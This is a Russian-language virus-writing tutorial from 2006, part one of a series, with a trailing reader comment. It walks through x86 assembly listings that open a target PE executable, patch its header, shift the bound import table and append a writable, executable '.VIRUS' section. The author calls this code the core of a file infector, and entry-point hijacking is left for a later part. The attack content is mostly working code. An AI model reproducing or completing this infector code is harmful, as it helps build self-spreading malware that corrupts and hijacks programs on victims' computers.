Все материалы предоставлены только с ознакомительной целью
Главная — Статьи — Вирусология — Заражение Часть I / Создаем секцию
Заражение Часть I / Создаем секцию
© EvilCoder 29.05.2006 статья не оптимизирована
© EvilCoder 29.05.2006 статья не оптимизирована
Скачать исходник Мы разобрались с поиском API функции. Подготовительный этап пройден. Следующий этап – это Поиск жертвы. Этот этап я решил оставить на потом. Сейчас мы займемся самым важным моментом существования вируса, этапом заражения. Это самый объемный и самый трудоемкий этап. Поиск жертвы – это нечто иное как обыкновенная функция поиска файлов в случайном порядке, плюс проверка файла на зараженность. Мы получили список адресов необходимых нам функций. Теперь настола время их использовать. Отладчик «в руки» и вперед! Что касается жертвы, возьмем любой ЕХЕ файл формата РЕ. Небольшого размера, чтоб легче было отлаживать. ;-) Пусть жетва у нас по адресу: "target.exe" (т.е. в одной папке с нашим кодом) Теперь по порядку разделим нашу задачу на более мелкие части. И рассмотрим их. На время забудем о дельта смещении. Так будет легче писать инфектор. Потом мы вернемся и сделаем все как надо. 1.Открываем файл. Для этого мы будем использовать стандартную API функцию CreateFileA, результатом выполнения которой будет хендл открытого файла. ( Хендл – 4 байтный идентификационный номер – типа того.) Перед вызовом функции следует положить в стек (указать) ряд параметров. ; ----- листинг 1 ----- push 0h ; hTemplateFile = NULL push 80h ; Attributes = NORMAL push 3h ; Mode = OPEN_EXISTING push 0h ; pSecurity = NULL push 3h ; ShareMode = FILE_SHARE_RW push 3h ; Access = READ push FindPath ; FindPath call dword [@CreateFileA] push eax После выполнения функции в ЕАХ будет расположен хендл открытого файла. В случае ошибки ЕАХ будет равен FFFFFFFFh = -1. После вызова функци сохраним хендл в стек он нам понадобиться в дальнейшем. Что означает каждый из параметров, вы можете посмотреть в справочнике по API функциям. Последним параметром мы указали «адрес» по которому распожен путь к нашему файлу. В данном случае: FindPath db “target.exe”,0h Ноль в конце строки обязателен. Ибо все строки в Виндовс кончаются Нулевым байтом. (так и хочется написать про переполнение буферов, ну это потом). Файл открыт, теперь его необходимо загрузить в оперативную память. Т.е. в адресное пространство нашего процесса. Для этого следует зарезирвировать необходимый нам «кусок» памяти. Но нам надо знать размер необходимой нам свободной памяти. Для этого следует узнать размер файла жертвы. Здесь нам поможет функция GetFileSize. Одним из ее параметров является хендл открытого файла. А он у нас осталься в ЕАХ после вызова предыдущей функции. И так. ; ----- листинг 2 ----- push 0h ; SizeHigh=NULL push eax ; FileHandle=eax call dword [@GetFileSize] ; push eax Теперь в ЕАХ у нас находится размер файла. Сохраним и его в стеке. Настоятельно рекомендую ПОЛЬЗУЙТЕСЬ ОТЛАДЧИКОМ без него вы ничего не поймете. Моя задача направить ход ваших мыслей, за вас никто думать не будет. ;-) Нам известен размер файла. Но резирвировать мы будем столько памяти сколько будет весить зараженный файл. Для расчета просто надо к ЕАХ прибавить размер «секции кода вируса». Пойдем более легким путем добавии просто 2000h. Помяти много, так что «жалко нету» ;-). Имейте ввиду это незначит что в файл запишутся лишние данные. Все что касается размера будет установлено тогда, когда мы будем производить запись в файл, а пока мы работаем с памятью. Наша следующая функция GlobalAlloc. После выполнения в ЕАХ будет расположен указатель на выделенную память. ; ----- листинг 3 ----- add eax,2000h ; push eax ; MemSize=FIleSize+VirSectionSize push 40h ; Flags=GPTR call dword [@GlobalAlloc] push eax Сразу же сохроним указатель в стек. Я полагаю вы отслеживаете состояние стека в отладчике, так ведь? ;-) Щас у нас в стеке находятся: на вершине Указатель на «выделенную область памяти»; затем Размер файла жертвы; и хендл открытого файла жертвы. Вот так выглядит наш стек: MemPoint ; Указатель на выделеную память FileSize ; Размер файла hFile ; Хендл открытого файла Идем дальше… память выделена но она пустая, естественно ;-). Теперь надо загрузить в нее нашу жертву, вернее скопировать в память, или спроецировать (знатоки: знаю знаю ;) ) Скажем просто прочитать. Используем функцию ReadFile. ; ----- листинг 4 ----- push 0h ; Overlaped=NULL push BufRW ; PBytesRead=nRead mov eax,[esp+4*3] ; push eax ; BytesToRead=FileSize mov eax, [esp+4*3] ; push eax ; Buffer=MemPoint mov eax,[esp+4*6] ; push eax ; hFile=FileHandle call dword [@ReadFile] Первый аргумент у нас NULL, вторым идет указатель на Память, вернее на "переменную" BufRW. Которой функция присвоит значение, количетсво считанных байт из файла. Нам она (переменная) не нужна, но функция требует ее указания. Далее идет размер файла, указатель на память (куда будут записаны данные) и хендл открытого файла. После выполнения функции, в случае ошибки ЕАХ будет равен -1 (FFFFFFFFh) без ошибок функция вернет значение отличное от нуля ;-) (Подробности в справочнике по WinAPI) Все, теперь у нас есть над чем работать дальше. Файл загружен в память по адресу (MemPoint, который находится в стеке на 1 позиции т.е. на вершине стека.) Закрывать Хендл открытого файла мы пока не будем, т.к. он нам понадобится когда мы будем производить запись файла "на диск" т.е. обратно из памяти. Порядок такой: 1. Копируем файл "с диска" в память. 2. Работаем над файлом в памяти. 3. Записываем файл из памяти "на диск". Сейчас мы на 2ом этапе. Т.е. нам предстоит работа над файлом. И начнем мы с редактирования заголовка РЕ. В документации сказано что заголовок РЕ находится по адресу, указаному по смещению 3Ch от начала файла. (ЗЫ. Паралельно открываем копию жертвы в отладчике, View-->Memory/ target.exe | PE Header, и внимательно изучаем ;-) Находим начало РЕ заголовка так: ; ----- листинг 5 ----- mov edi,[esp] ; EDI=MemPoint mov eax,[edi+3Ch] ; +3CH Теперь в ЕАХ у нас смещение от начала файла к РЕ заголовку, а в EDI реальный адрес указывающий на начало файла в памяти. Прибавим к EDI регистр ЕАХ и получим реальный адрес РЕ заголовка в памяти: ; ----- листинг 6 ----- add edi,eax ; EDI = PE Header Незабываем про отладчик ;-). По смещению 6h от РЕ заголовка у нас SecNums (слово, 2 байта ;-) содержащее количество секций программы) нам необходим увеличить это значение на 1. т.к. мы добавим в файл еще одну секцию. ; ----- листинг 7 ----- movzx eax,word [edi+6H] push eax ; SAVE SECTION NUMS inc eax ; INC SecNums mov word [edi+6h],ax ; --WRITE-- SecNums Загружаем в ЕАХ количество секций с помощью конструкции MOVZX которая обнулит ЕАХ и независимо от размера второго операнда сохронит его значение в ЕАХ. Далее сохраним изначальное количество секций, оно нам понадобится в дальнейшем. Увеличим значени ЕАХ на единицу (инкремент) и запишем туда откуда взяли ;-). (отладчик у нас запущен на жертву и на наш код ;-) Изменения можно наблюдать только из ! нашего кода.) Из РЕ заголовка нам понадобятся: EntryPoint (Точка входа в программу), SectAlign (Выравнивание секций в памяти) и FileAlign (выравнивание секций в файле "на диске"). ; ----- листинг 8 ----- mov eax,dword [edi+28h] ; 28h-смещение к EntyPoint от начала РЕ и т.д. push eax ; SAVE ENTRYPOINT mov eax,dword [edi+38h] push eax ; SAVE SECTION ALIGN mov eax,dword [edi+3Ch] push eax ; SAVE FILE ALIGN И того в стеке иы имеем: ESP=> FileAlign ; выравнивание секций в файле ESP+4 SectAlign ; выравнивание секций в памяти ESP+4*2 EntryPoint ; Точка входа в программу ESP+4*3 SecNums ; количество секций жертвы .. MemPoint ; Указатель на выделеную память .. FileSize ; Размер файла hFile ; Хендл открытого файла Все эти данные размером в двойное слово (т.е. "Double DWORD" DD = 4 байта). Идем далее. Вы конечно же изучили формат РЕ ЕХЕ и поэтому знаете что у каждой секции бывает 2 параметра, размер секции "в памяти" выравненый на SectAlign и размер секции "в файле" выравненый на FileAlign . Для нашей секции эти данные будут хранится в двух переменных SECTION_VIRTsz и SECTION_RAWsz. Сейчас нам следует их определить (заполнить содержимым ;-)) Вообще из чего складывается размер будещей секции? Правильно из размера кода котрый будет в ней находиться т.е. размер вируса. Пока он нам неизвестен ;-) потому как еще не написан ;-) поэтому укажем 1000h = 1КБ больше уж точно он не выйдет (хотя, назнаю назнаю ;-)) Давайте укажем для наглядности не 1000h, а 0FFDh - чисто случайное число, чтоб процесс выравнивания был более наглядным, а то 1000h и так величина выравненая на "что угодно" ;-) . А вообще что такое выравнивание? Ох блин, неохота объяснять :-) вы должны это знать (Док. к РЕ ЕХЕ) ну скажем так: 33 выравненое на 10 = 40, или 5 выравненое на 4 = 8 ;-) Ну и сам код: ; ----- листинг 9 ----- mov ebx, 0FFDh ; VirSize если что ;-) mov eax, dword [esp] ; FileAlign ну и фактор выравнивания :-) dec eax add ebx, eax not eax and ebx, eax mov dword [SECTION_RAWsz],ebx Размер секции в файле мы выравнили, теперь размер секции в памяти: ; ----- листинг 10 ----- mov ebx, 0FFDh ; VirSize если что ;-) mov eax, dword [esp+4] ; SectAlign фактор выравнивания :-) dec eax add ebx, eax not eax and ebx, eax mov dword [SECTION_VIRTsz],ebx Конечно можно было написать спец. функцию выравнивания, но я нестал усложнять (а вообще имейте ввиду) Главное ведь чтоб код зароботал, а оптимизацией надо заниматься в конце ;-). Количество секций мы увеличили, следовательно надо увеличить и размер всего образа в памяти. Т.е. нам следует увеличить ImageSize на SECTION_VIRTsz (виртуальный размер новой секции). ; ----- листинг 11 ----- mov eax,dword [edi+50h] ; (IMAGE SIZE) modify add eax,dword [SECTION_VIRTsz] ; ImageSize + BegeemVIRTsize mov dword [edi+50h],eax ; --WRITE-- ImageSize Мы дошли до этапа работы с BoundTable, нафиг это таблица нужна я даже не помню. В документации РЕ ЕХЕ о ней сказано. Эта структура присутствует не у всех РЕ ЕХЕ файлов. Я встречал ее только в программах компилятора Visual Basic. Нам нужно знать только то, что если это "таблица" (структура или просто данные) есть, то она находится сразу за ObjectTable (где расположены данные каждой секции). Следовательно нам необходимо сдвинуть эти данные на 28h - ровно сталько занимает описание одной секции в ObjectTable. Т.к. мы добавляем еще один элемент (описание секции) эти данные могут быть затерты и жертва будет испорчена. Мы не должны этого допускать. Для начала следует узнать: есть ли в нашем жертве данная структура. По смещению 0D0h в заголовке РЕ указано смещение к этим данным (0D4h-размер), а в случае их отсутствия будет ноль. ; ----- листинг 12 ----- mov eax,[edi+0D0h] ; BoundTableADDR test eax,eax ; ЕАХ=0h ? Проверка на НОЛЬ jz _Next ; Если ЕАХ=0 то идет дальше nop ; этот код выполнится если ЕАХ<>0 Как известно nop - это пустая операция, которая ничего неделает. Я ее оставил для наглядности. Сейчас мы будем перемещать BoundTable на 28h, т.е. сместим ее. Следует учитывать что если в файле нет этих данных, то мы передем по метке _Next. Она у нас появиться потом. А сейчас мы будем считать что ЕАХ неравен нулю, и в нем расположен Адрес указывающий на BoundTable. (ЗЫ можете открыть в отладчике любую программу написанную на VB). Не факт что размер этих данных не будет превышать 28 байт, поэтому для того что бы их сместить нам необходимо их сперва скопировать "куда то" (временный буфер), а потом оттуда скопировать на 28 байт дальше чем их прежнее расположение. Если мы просто будем первый байт перемещать на 28 байт "дальше", скорее всего мы затерем часть необходимых данных (напомню, "не факт что размер этих данных не будет превышать 28 байт") незнаю поняли вы или нет :-( Но я как то на этом попался и долго разбирался в чем дело, пока не понял что сам же эти данные затираю. В качестве "временного буфера" будем использовать пустую область в жертве, куда в дальнейшем будет записан сам вирус. т.е. последнюю секцию (секцию вируса). Находим эту область так MemPoint+FileSize не думаю что стоит объяснять ;-) ; ----- листинг 13 ----- push eax ; SAVE BoundTableVA push edi ; SAVE PEoffset mov ecx,[edi+0D4h] ; Находим размер Bound таблицы mov edi,[esp+4*6] ; EDI=MemPoint. Вспоминаем состояние стека add eax,edi ; EAX= BoundTableADDR (RVA) mov esi,eax ; ESI=EAX mov eax,[esp+4*7] ; EAX=FileSize add edi,eax ; EDI(MemPoint)+EAX(FileSize)=EDI(MemBuf) push edi ; SAVE MemBuf адрес "временного буфера" push esi ; SAVE BoundRVA адрес таблицы в памяти push ecx ; SAVE BoundSize размер таблицы ;---------------------------+ RWbound: ; Rbuf=ESI | Перемещение данных во lodsb ; READ eax | временный буфер stosb ; WRITE eax | loop RWbound ; Wbuf=EDI | ;---------------------------+ pop ecx ; GET BoundSize pop edi ; GET BoundRVA pop esi ; GET MemBuf add edi,28h ; EDI=EDI+NewSectStruc ;---------------------------+ boundRW: ; Rbuf=ESI | Перемещение данных из lodsb ; READ eax | временного буфера stosb ; WRITE eax | обратно но уже по loop boundRW ; Wbuf= +28h | адресу +28h ;---------------------------+ pop edi ; GET PEoffset pop eax ; GET BoundTableVA add eax,28h mov dword [edi+0D0h],eax ; SET newBoundOffset Я нестал пояснять этот листинг, потому как он может не понадобится вообще. А разобраться в нем ничего не стоит, он достаточно таки легкий для понимания. Едиственное если вы незнаете: lodsb|lodsw|lodsd и stosb|stosw|stosd - работают с регистрами ЕАХ, EDI, ESI. Из [ESI] данные загружаются в ЕАХ - это lods. И в [EDI] записываются из ЕАХ - это stos. Подробности в доках по асму ;-) Так, далее мы начинаем уже редактировать ObjectTable создадим там новую структуру (новой секции) Она расположена сразу за последним элементом ObjectTable, ее размер 28h байт. (это именно та область памяти которую мы освободили, в котороый находилась BoundTable). Код начинается с метки _Next. ; ----- листинг 14 ----- _Next: mov ebx,edi ; EBX=PEoffset add ebx,0F8h ; EBX=ObjectTable mov eax, [esp+4*3] ; EAX=SectNums imul eax,28h ; EAX=SecNums * 28h add ebx,eax ; EBX=SECT_END - Конец структуры последней секции Порядок нахождения смещения к будущей структуре, в линейной функции можно выразить так: Смещение=PEoffset+0F8h+(SecNums*28h) Теперь по порядку: Смещение = Это Адресс в памяти по которому мы расположем новую структуру (секции вируса). PEoffset = Это Адресс в памяти по которому распожен заголовок РЕ. (т.е. то указатель на Стрроку "PE"). 0F8h = Ровно столько байт занимает РЕ заголовок. После него начинается ObjectTable. SecNums = Количество секций в файле жертвы. 028h = Размер структуры описания секции в ObjectTable (ObjectTable состоит из SecNums количества структур) Надейюсь что понятно ;-). Так в EBX у нас указатель на новую структуру. Строение структуры (в скобках укзан размер каждого элемента структуры): 1. SectName(8) - Первые 8 байт отведены под ASCII строку т.е. название секции 2. VirtualSize(4) - Виртуальный размер секции. мы уже его нашли = SECTION_VIRTsz 3. VirtualAddress(4) - Смещение секции в памяти. находим так: = (Выравненый VirtualSize предыдущей секции на фактор SectAlign) + (VirtualAddress пред.секции) 4. SizeOfRawData(4) - Размер секции в файле (на диске). = SECTION_RAWsz 5. PointerToRawData(4) - Смещение секции в файле. находим так: = (SizeOfRawData предыдущей секции) + (PointerToRawData пред.секции) 6. PointerToRelocations(4) - не нужно т.е. = ноль 7. PointerToLineNumbers(4) - не нужно т.е. = ноль 8. NumberOfRelocations(2) - не нужно т.е. = ноль 9. NumberOfLineNumbers(2) - не нужно т.е. = ноль 10. Characteristics(4) - Флаги секции (Ман к "РЕ" рулит) у нас равно = 0E0000020h (CODE|EXECUTE|READ|WRITE) Вот и вся структура. Теперь будем ее заполнять. в EBX у нас указатель на 1ый элемнт структуры. ; ----- листинг 15 ----- ; 1. SectName(8) mov dword [ebx],\'.VIR\' ; ASCII Произвольный текст. ASCII Название ; секции mov dword [ebx+4h],\'US\' ; ".VIRUS" ; 2. VirtualSize(4) mov eax,dword [SECTION_VIRTsz] ; EAX= SECTION_VIRTsz - Виртуальный ; размер новой секции mov dword [ebx+8h],eax ; -WRITE- VirtualSize ; 3. VirtualAddress(4) mov ecx, [ebx-20h] ; ECX=PrevSect.VIRTsize - Виртуальный размер ; пред. секции mov eax, dword [esp+4] ; EAX=SectAlign - Фактор выравнивания dec eax add ecx, eax not eax and ecx, eax ; ECX= Выраненый Виртуальный размер пред. секции mov eax, [ebx-1Ch] ; EAX= PrevSect.VIRTaddress - Виртуальный ; адресс пред.секции add eax,ecx ; VirtualAddress=EAX+ECX mov dword [ebx+0Ch],eax ; -WRITE- VirtualAddress ; 4. SizeOfRawData(4) mov eax,[SECTION_RAWsz] ; EAX= SECTION_RAWsz - Размер секции в файле mov dword [ebx+10h],eax ; -WRITE- SizeOfRawData ; 5. PointerToRawData(4) mov ecx, [ebx-18h] ; ECX= PrevSect.SizeOfRawData - Размер секции ; в файле пред. секции mov eax, [ebx-14h] ; EAX= PrevSect.PointerToRawData - Смещение ; секции в файле пред. секции add eax,ecx ; PointerToRawData=EAX+ECX mov dword [ebx+14h],eax ; -WRITE- PointerToRawData ; 6,7,8,9 xor eax,eax mov dword [ebx+18h],eax ; zero mov dword [ebx+1Ch],eax ; zero mov word [ebx+20h],ax ; zero mov word [ebx+22h],ax ; zero ; 10. Characteristics(4) mov dword [ebx+24h], 0E0000020h ; SetFlags (CODE|EXECUTE|READ|WRITE) Вся работа с РЕ заголовком закончена, осталось только изменить точку входа в программу на вирусный код т.е. на новую секцию. Перед этим следует сохранить старую точку входа, т.к. по окончанию своей работы вирус должен передать управление программе носителю. НО. этого мы делать не будем :-) т.к. это материал следующей статьи ;-) которая появится по вашему востребованию :-) К статье прилагается исходник. весь выше изложенный код является основной частью вируса. Чтобы закончить вирус следует: 1. Весь этот код сделать базанезависемым :-) (ака дельта смещение) 2. Написать процедуру записи вирусного кода в созданную секцию. 3. Почитать много полезных статей на эту тему ;-) Теперь об исходнике: При запуске открывает файл target.exe расположенный в одной папке с ним. Создает в нем новую секцию с названием .VIRUS и все :-) Один момент. Все операции мы провели в памяти, теперь надо сохронить файл с изменениями: ; ----- листинг 16 ----- push 0h ; Origin=FILE_BEGIN push 0h ; OffsetHigh=NULL push 0h ; OffsetLow = NULL push dword [esp+4*9] ; hFile = FileHandle call dword [@SetFilePointer] ; ----- листинг 17 ----- push 0h ; Overlapped=NULL push BufRW ; BytesWritten=BufRW mov eax,[esp+4*7] ; EAX=FileSize add eax, dword [SECTION_RAWsz] push eax ; nBytesToWrite=FileSize+VIRsize push dword [esp+4*7] ; Buffer / MemPoint push dword [esp+4*0Ah] ; hFile=FileHandle call dword [@WriteFile] ; ----- листинг 18 ----- push dword [esp+4*6] ;hFile=FileHandle call dword [@CloseHandle] ; ----- листинг 19 ----- push 0h call dword [@ExitProcess] Все вопросы в Разделе Ассемблер на Форуме ;-)
© EvilCoder 29.05.2006 статья не оптимизирована

>>mov eax,[edi+3Ch] ; +3CH
Может стоило вместо 3CH написать e_lfanew?